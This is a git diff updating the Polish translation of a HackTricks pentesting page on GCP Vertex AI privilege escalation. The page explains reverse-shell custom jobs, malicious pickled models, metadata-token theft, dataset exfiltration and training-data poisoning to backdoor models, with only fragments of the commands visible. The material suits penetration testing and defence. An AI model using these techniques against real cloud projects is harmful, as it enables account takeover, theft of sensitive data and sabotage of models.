mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/gcp-security/gcp-privilege-escalat
This commit is contained in:
+62
-66
@@ -4,7 +4,7 @@
|
||||
|
||||
## Vertex AI
|
||||
|
||||
Aby uzyskać więcej informacji o Vertex AI, sprawdź:
|
||||
Więcej informacji o Vertex AI znajdziesz:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-vertex-ai-enum.md
|
||||
@@ -12,15 +12,15 @@ Aby uzyskać więcej informacji o Vertex AI, sprawdź:
|
||||
|
||||
### `aiplatform.customJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Posiadając uprawnienie `aiplatform.customJobs.create` oraz `iam.serviceAccounts.actAs` do docelowego service account, atakujący może **uruchomić dowolny kod z podwyższonymi uprawnieniami**.
|
||||
Posiadając uprawnienie `aiplatform.customJobs.create` oraz `iam.serviceAccounts.actAs` na docelowym koncie usługi, atakujący może **wykonać dowolny kod z podwyższonymi uprawnieniami**.
|
||||
|
||||
Mechanizm polega na utworzeniu custom training job, który uruchamia kod kontrolowany przez atakującego (albo w niestandardowym kontenerze, albo w pakiecie Python). Podając uprzywilejowany service account przez flagę `--service-account`, zadanie dziedziczy uprawnienia tego service account. Zadanie uruchamiane jest na infrastrukturze zarządzanej przez Google z dostępem do GCP metadata service, co pozwala na wydobycie OAuth access token przypisanego do service account.
|
||||
Polega to na utworzeniu custom training job, który uruchamia kod kontrolowany przez atakującego (albo custom container, albo Python package). Wskazując uprzywilejowane konto usługi za pomocą flagi `--service-account`, job dziedziczy uprawnienia tego konta usługi. Job uruchamia się na infrastrukturze zarządzanej przez Google z dostępem do GCP metadata service, co umożliwia wydobycie tokenu dostępu OAuth konta usługi.
|
||||
|
||||
**Wpływ**: Pełna eskalacja uprawnień do uprawnień docelowego service account.
|
||||
**Wpływ**: Pełna eskalacja uprawnień do poziomu uprawnień docelowego konta usługi.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Utwórz niestandardowe zadanie z reverse shell</summary>
|
||||
<summary>Create custom job with reverse shell</summary>
|
||||
```bash
|
||||
# Method 1: Reverse shell to attacker-controlled server (most direct access)
|
||||
gcloud ai custom-jobs create \
|
||||
@@ -65,19 +65,17 @@ gcloud ai custom-jobs stream-logs <job-id> --region=<region>
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> Niestandardowe zadanie będzie uruchamiane z uprawnieniami określonego konta usługi. Upewnij się, że masz uprawnienie `iam.serviceAccounts.actAs` na docelowym koncie usługi.
|
||||
|
||||
### `aiplatform.models.upload`, `aiplatform.models.get`
|
||||
|
||||
Ta technika umożliwia eskalację uprawnień poprzez przesłanie modelu do Vertex AI, a następnie wykorzystanie tego modelu do wykonania kodu z podwyższonymi uprawnieniami poprzez wdrożenie endpointu lub uruchomienie batch prediction job.
|
||||
Ta technika umożliwia eskalację uprawnień poprzez przesłanie modelu do Vertex AI, a następnie wykorzystanie tego modelu do wykonania kodu z podwyższonymi uprawnieniami poprzez wdrożenie endpointu lub uruchomienie zadania batch prediction.
|
||||
|
||||
> [!NOTE]
|
||||
> Aby przeprowadzić ten atak, potrzebne jest posiadanie world-readable GCS bucket lub utworzenie nowego w celu przesłania artefaktów modelu.
|
||||
> Aby przeprowadzić ten atak potrzebny jest GCS bucket dostępny do odczytu dla wszystkich lub trzeba utworzyć nowy, aby przesłać artefakty modelu.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Prześlij złośliwy pickled model zawierający reverse shell</summary>
|
||||
<summary>Upload malicious pickled model with reverse shell</summary>
|
||||
```bash
|
||||
# Method 1: Upload malicious pickled model (triggers on deployment, not prediction)
|
||||
# Create malicious sklearn model that executes reverse shell when loaded
|
||||
@@ -113,7 +111,7 @@ gcloud ai models upload \
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Prześlij model z reverse shell w kontenerze</summary>
|
||||
<summary>Prześlij model z container reverse shell</summary>
|
||||
```bash
|
||||
# Method 2 using --container-args to run a persistent reverse shell
|
||||
|
||||
@@ -145,12 +143,12 @@ gcloud ai models upload \
|
||||
</details>
|
||||
|
||||
> [!DANGER]
|
||||
> Po przesłaniu złośliwego modelu atakujący może poczekać, aż ktoś użyje modelu, lub sam uruchomić model poprzez endpoint deployment lub batch prediction job.
|
||||
> Po przesłaniu złośliwego modelu atakujący może poczekać, aż ktoś użyje modelu, lub uruchomić model samodzielnie poprzez wdrożenie na endpoint lub zadanie wsadowej predykcji.
|
||||
|
||||
|
||||
#### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) lub ( `aiplatform.endpoints.setIamPolicy` )
|
||||
#### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) or ( `aiplatform.endpoints.setIamPolicy` )
|
||||
|
||||
Jeśli masz uprawnienia do tworzenia i wdrażania modeli na endpointach lub modyfikowania polityk IAM endpointu, możesz wykorzystać przesłane złośliwe modele w projekcie do eskalacji uprawnień. Aby wywołać jeden z wcześniej przesłanych złośliwych modeli przez endpoint, wszystko, co musisz zrobić, to:
|
||||
Jeśli masz uprawnienia do tworzenia i wdrażania modeli na endpointy lub do modyfikowania zasad IAM endpointów, możesz wykorzystać przesłane złośliwe modele w projekcie do eskalacji uprawnień. Aby wywołać jeden z wcześniej przesłanych złośliwych modeli za pośrednictwem endpointu, wystarczy:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -175,12 +173,10 @@ gcloud ai endpoints deploy-model <endpoint-id> \
|
||||
|
||||
#### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Jeśli masz uprawnienia do utworzenia **batch prediction jobs** i uruchomienia go za pomocą service account, możesz uzyskać dostęp do metadata service. Złośliwy kod wykonuje się z **custom prediction container** lub **malicious model** podczas procesu batch prediction.
|
||||
|
||||
**Note**: Batch prediction jobs można tworzyć tylko przez REST API lub Python SDK (brak wsparcia dla gcloud CLI).
|
||||
Jeśli masz uprawnienia do tworzenia **batch prediction jobs** i uruchamiania ich przy użyciu service account, możesz uzyskać dostęp do metadata service. Złośliwy kod wykonuje się z poziomu **custom prediction container** lub **malicious model** podczas procesu batch prediction.
|
||||
|
||||
> [!NOTE]
|
||||
> Ten atak wymaga najpierw przesłania malicious model (zobacz sekcję `aiplatform.models.upload` powyżej) lub użycia custom prediction container z twoim reverse shell code.
|
||||
> Ten atak wymaga najpierw przesłania malicious model (zob. sekcję `aiplatform.models.upload` powyżej) lub użycia custom prediction container z twoim reverse shell code.
|
||||
|
||||
<details>
|
||||
|
||||
@@ -240,10 +236,10 @@ https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${R
|
||||
|
||||
### `aiplatform.models.export`
|
||||
|
||||
Jeżeli posiadasz uprawnienie **models.export**, możesz wyeksportować artefakty modelu do GCS bucket, którym zarządzasz, co potencjalnie umożliwia dostęp do wrażliwych danych treningowych lub plików modelu.
|
||||
Jeśli masz uprawnienie **models.export**, możesz wyeksportować artefakty modelu do GCS bucket, którym zarządzasz, potencjalnie uzyskując dostęp do wrażliwych danych treningowych lub plików modelu.
|
||||
|
||||
> [!NOTE]
|
||||
> Aby przeprowadzić attack, wymagany jest GCS bucket dostępny do odczytu i zapisu dla wszystkich (world readable and writable) lub utworzenie nowego, aby przesłać artefakty modelu.
|
||||
> Aby przeprowadzić ten atak, potrzebny jest GCS bucket dostępny do odczytu i zapisu dla wszystkich lub trzeba utworzyć nowy, aby przesłać artefakty modelu.
|
||||
|
||||
<details>
|
||||
|
||||
@@ -274,16 +270,16 @@ gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./
|
||||
|
||||
### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Utwórz **ML pipeline jobs**, które wykonują wiele kroków z dowolnymi kontenerami i umożliwiają privilege escalation przez reverse shell access.
|
||||
Utwórz **ML pipeline jobs**, które wykonują wiele etapów przy użyciu dowolnych kontenerów i umożliwiają privilege escalation poprzez reverse shell access.
|
||||
|
||||
Pipelines są szczególnie potężne do privilege escalation, ponieważ wspierają ataki wieloetapowe, gdzie każdy komponent może używać innych kontenerów i konfiguracji.
|
||||
Pipelines są szczególnie skuteczne w privilege escalation, ponieważ obsługują multi-stage attacks, w których każdy komponent może używać różnych kontenerów i konfiguracji.
|
||||
|
||||
> [!NOTE]
|
||||
> Potrzebujesz world writable GCS bucket, aby użyć go jako pipeline root.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Zainstaluj Vertex AI SDK</summary>
|
||||
<summary>Install Vertex AI SDK</summary>
|
||||
```bash
|
||||
# Install the Vertex AI SDK first
|
||||
pip install google-cloud-aiplatform
|
||||
@@ -386,15 +382,15 @@ print(f" {response.text}")
|
||||
|
||||
### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Utwórz **hyperparameter tuning jobs**, które wykonują dowolny kod z podwyższonymi uprawnieniami poprzez niestandardowe training containers.
|
||||
Twórz **zadania strojenia hiperparametrów**, które uruchamiają dowolny kod z podwyższonymi uprawnieniami przy użyciu niestandardowych kontenerów treningowych.
|
||||
|
||||
Hyperparameter tuning jobs pozwalają uruchomić wiele prób treningowych równolegle, z różnymi wartościami hiperparametrów. Poprzez wskazanie złośliwego containera zawierającego reverse shell lub polecenie exfiltration i powiązanie go z uprzywilejowanym service account, można osiągnąć privilege escalation.
|
||||
Zadania strojenia hiperparametrów pozwalają uruchomić wiele prób treningowych równolegle, z różnymi wartościami hiperparametrów. Poprzez wskazanie złośliwego kontenera zawierającego reverse shell lub exfiltration command i powiązanie go z uprzywilejowanym service account, można osiągnąć privilege escalation.
|
||||
|
||||
**Impact**: Pełne privilege escalation do uprawnień docelowego service account.
|
||||
**Impact**: Pełna privilege escalation do uprawnień docelowego service account.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Utwórz hyperparameter tuning job with reverse shell</summary>
|
||||
<summary>Utwórz zadanie strojenia hiperparametrów z reverse shellem</summary>
|
||||
```bash
|
||||
# Method 1: Python reverse shell (most reliable)
|
||||
# Create HP tuning job config with reverse shell
|
||||
@@ -435,15 +431,15 @@ gcloud ai hp-tuning-jobs create \
|
||||
|
||||
### `aiplatform.datasets.export`
|
||||
|
||||
Eksportuj **zbiory danych** w celu exfiltrate danych treningowych, które mogą zawierać wrażliwe informacje.
|
||||
Eksportuj **datasets** w celu exfiltrate danych treningowych, które mogą zawierać wrażliwe informacje.
|
||||
|
||||
**Uwaga**: Operacje na zbiorach danych wymagają REST API lub Python SDK (brak wsparcia gcloud CLI dla zbiorów danych).
|
||||
**Uwaga**: operacje na datasetach wymagają REST API lub Python SDK (brak wsparcia gcloud CLI dla datasets).
|
||||
|
||||
Zbiory danych często zawierają oryginalne dane treningowe, które mogą zawierać PII, poufne dane biznesowe lub inne wrażliwe informacje użyte do trenowania modeli produkcyjnych.
|
||||
Datasets często zawierają oryginalne dane treningowe, które mogą obejmować PII, poufne dane biznesowe lub inne wrażliwe informacje użyte do trenowania modeli produkcyjnych.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Eksport zbioru danych w celu exfiltrate danych treningowych</summary>
|
||||
<summary>Eksport datasetu w celu exfiltrate danych treningowych</summary>
|
||||
```bash
|
||||
# Step 1: List available datasets to find a target dataset ID
|
||||
PROJECT="your-project"
|
||||
@@ -492,25 +488,25 @@ cat exported-data/*/data-*.jsonl
|
||||
|
||||
### `aiplatform.datasets.import`
|
||||
|
||||
Importuj złośliwe lub poisoned dane do istniejących zbiorów danych, aby **manipulować szkoleniem modeli i wprowadzać backdoors**.
|
||||
Importuj złośliwe lub zatrute dane do istniejących zbiorów danych, aby **manipulować treningiem modelu i wprowadzać backdoors**.
|
||||
|
||||
**Uwaga**: operacje na zbiorach danych wymagają REST API lub Python SDK (brak wsparcia gcloud CLI dla zbiorów danych).
|
||||
**Uwaga**: Operacje na zbiorach danych wymagają REST API lub Python SDK (brak wsparcia gcloud CLI dla zbiorów danych).
|
||||
|
||||
Poprzez import starannie przygotowanych danych do zbioru danych używanego do szkolenia modeli ML, atakujący może:
|
||||
- Wprowadzić backdoors do modeli (trigger-based misclassification)
|
||||
- Poison training data, aby pogorszyć wydajność modelu
|
||||
- Wstrzyknąć dane, powodując leak informacji przez modele
|
||||
Poprzez importowanie spreparowanych danych do zbioru danych używanego do trenowania modeli ML, atakujący może:
|
||||
- Wprowadzić backdoors do modeli (błędna klasyfikacja wywoływana triggerem)
|
||||
- Zatrucie danych treningowych w celu pogorszenia wydajności modelu
|
||||
- Wstrzyknąć dane, aby modele zaczęły leakować informacje
|
||||
- Manipulować zachowaniem modelu dla określonych wejść
|
||||
|
||||
Ten atak jest szczególnie skuteczny, gdy celem są zbiory danych wykorzystywane do:
|
||||
- Klasyfikacja obrazów (wstrzyknięcie błędnie oznakowanych obrazów)
|
||||
- Klasyfikacja tekstu (wstrzyknięcie tendencyjnego lub złośliwego tekstu)
|
||||
- Wykrywanie obiektów (manipulacja prostokątami ograniczającymi)
|
||||
- Systemy rekomendacyjne (wstrzyknięcie fałszywych preferencji)
|
||||
Ten atak jest szczególnie skuteczny w przypadku celowania w zbiory danych używane do:
|
||||
- Klasyfikacja obrazów (wstrzyknięcie błędnie oznaczonych obrazów)
|
||||
- Klasyfikacja tekstu (wstrzyknięcie stronniczego lub złośliwego tekstu)
|
||||
- Wykrywanie obiektów (manipulowanie ramkami ograniczającymi)
|
||||
- Systemy rekomendacji (wstrzyknięcie fałszywych preferencji)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Import poisoned data into dataset</summary>
|
||||
<summary>Importuj zatrute dane do zbioru danych</summary>
|
||||
```bash
|
||||
# Step 1: List available datasets to find target
|
||||
PROJECT="your-project"
|
||||
@@ -567,11 +563,11 @@ curl -s -X GET \
|
||||
```
|
||||
</details>
|
||||
|
||||
**Scenariusze ataku:**
|
||||
**Scenariusze ataków:**
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Backdoor attack - Image classification</summary>
|
||||
<summary>Backdoor attack - klasyfikacja obrazów</summary>
|
||||
```bash
|
||||
# Scenario 1: Backdoor Attack - Image Classification
|
||||
# Create images with a specific trigger pattern that causes misclassification
|
||||
@@ -598,7 +594,7 @@ done > label_flip.jsonl
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Data poisoning for model extraction</summary>
|
||||
<summary>Data poisoning dla model extraction</summary>
|
||||
```bash
|
||||
# Scenario 3: Data Poisoning for Model Extraction
|
||||
# Inject carefully crafted queries to extract model behavior
|
||||
@@ -625,34 +621,34 @@ EOF
|
||||
</details>
|
||||
|
||||
> [!DANGER]
|
||||
> Data poisoning attacks can have severe consequences:
|
||||
> - **Systemy bezpieczeństwa**: Obejście rozpoznawania twarzy lub wykrywania anomalii
|
||||
> - **Wykrywanie oszustw**: Naucz modele ignorować konkretne wzorce oszustw
|
||||
> - **Moderacja treści**: Sprawić, że szkodliwe treści zostaną sklasyfikowane jako bezpieczne
|
||||
> - **AI medyczne**: Błędna klasyfikacja krytycznych stanów zdrowotnych
|
||||
> - **Systemy autonomiczne**: Manipulacja wykrywaniem obiektów przy decyzjach krytycznych dla bezpieczeństwa
|
||||
>
|
||||
> **Wpływ**:
|
||||
> - Modele z backdoorem, które błędnie klasyfikują przy określonych wyzwalaczach
|
||||
> - Pogorszenie wydajności i dokładności modelu
|
||||
> - Stronnicze modele, które dyskryminują określone dane wejściowe
|
||||
> - Wycieki informacji przez zachowanie modelu
|
||||
> - Długoterminowa persystencja (modele wytrenowane na zatrutych danych odziedziczą backdoor)
|
||||
> Data poisoning attacks mogą mieć poważne konsekwencje:
|
||||
> - **Security systems**: obejście rozpoznawania twarzy lub wykrywania anomalii
|
||||
> - **Fraud detection**: wyszkolenie modeli do ignorowania określonych wzorców oszustw
|
||||
> - **Content moderation**: spowodowanie sklasyfikowania szkodliwych treści jako bezpiecznych
|
||||
> - **Medical AI**: błędna klasyfikacja krytycznych stanów zdrowotnych
|
||||
> - **Autonomous systems**: manipulowanie wykrywaniem obiektów przy podejmowaniu decyzji kluczowych dla bezpieczeństwa
|
||||
|
||||
**Impact**:
|
||||
- Modele z backdoorem, które błędnie klasyfikują przy określonych wyzwalaczach
|
||||
- Obniżona wydajność i dokładność modeli
|
||||
- Stronnicze modele dyskryminujące określone dane wejściowe
|
||||
- Ujawnianie informacji przez zachowanie modelu
|
||||
- Długotrwała trwałość (modele wytrenowane na zatrutych danych odziedziczą backdoor)
|
||||
|
||||
|
||||
### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
> [!WARNING]
|
||||
> > [!NOTE]
|
||||
> **Deprecated API**: The `aiplatform.notebookExecutionJobs.create` API jest przestarzałe w związku z wycofywaniem Vertex AI Workbench Managed Notebooks. Nowe podejście to użycie **Vertex AI Workbench Executor**, który uruchamia notebooki za pomocą `aiplatform.customJobs.create` (już omówione powyżej).
|
||||
> Vertex AI Workbench Executor pozwala planować uruchomienia notebooków wykonywane na infrastrukturze custom training Vertex AI z określonym kontem usługi. To w istocie wygodny wrapper wokół `customJobs.create`.
|
||||
> **For privilege escalation via notebooks**: Użyj metody `aiplatform.customJobs.create` opisanej powyżej, która jest szybsza, bardziej niezawodna i korzysta z tej samej infrastruktury co Workbench Executor.
|
||||
> **Przestarzałe API**: API `aiplatform.notebookExecutionJobs.create` jest przestarzałe w ramach deprecjacji Vertex AI Workbench Managed Notebooks. Nowe podejście to użycie **Vertex AI Workbench Executor**, który uruchamia notebooks przez `aiplatform.customJobs.create` (opisane powyżej).
|
||||
> Vertex AI Workbench Executor pozwala na harmonogramowanie uruchomień notebooków, które wykonują się na infrastrukturze treningowej Vertex AI z określonym service account. To w zasadzie wygodny wrapper wokół `customJobs.create`.
|
||||
> **For privilege escalation via notebooks**: Użyj metody `aiplatform.customJobs.create` opisanej powyżej — jest szybsza, bardziej niezawodna i korzysta z tej samej infrastruktury co Workbench Executor.
|
||||
|
||||
**Poniższa technika jest przedstawiona wyłącznie w celach historycznych i nie jest zalecana do stosowania w nowych ocenach.**
|
||||
**Poniższa technika jest podana wyłącznie w kontekście historycznym i nie jest zalecana do stosowania w nowych testach.**
|
||||
|
||||
Utwórz **zadania wykonywania notebooków**, które uruchamiają notebooki Jupyter z dowolnym kodem.
|
||||
Utwórz **notebook execution jobs**, które uruchamiają Jupyter notebooks z dowolnym kodem.
|
||||
|
||||
Zadania notebooków są idealne do interaktywnego wykonywania kodu przy użyciu konta usługi, ponieważ obsługują komórki kodu Python i polecenia powłoki.
|
||||
Zadania notebooków są idealne do interaktywnego wykonywania kodu z użyciem service account, ponieważ obsługują komórki z kodem Python oraz polecenia powłoki.
|
||||
|
||||
<details>
|
||||
|
||||
@@ -683,7 +679,7 @@ gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Uruchom notebook z użyciem docelowego konta usługi</summary>
|
||||
<summary>Uruchom notebook z docelowym kontem usługi</summary>
|
||||
```bash
|
||||
# Create notebook execution job using REST API
|
||||
PROJECT="gcp-labs-3uis1xlx"
|
||||
|
||||
Reference in New Issue
Block a user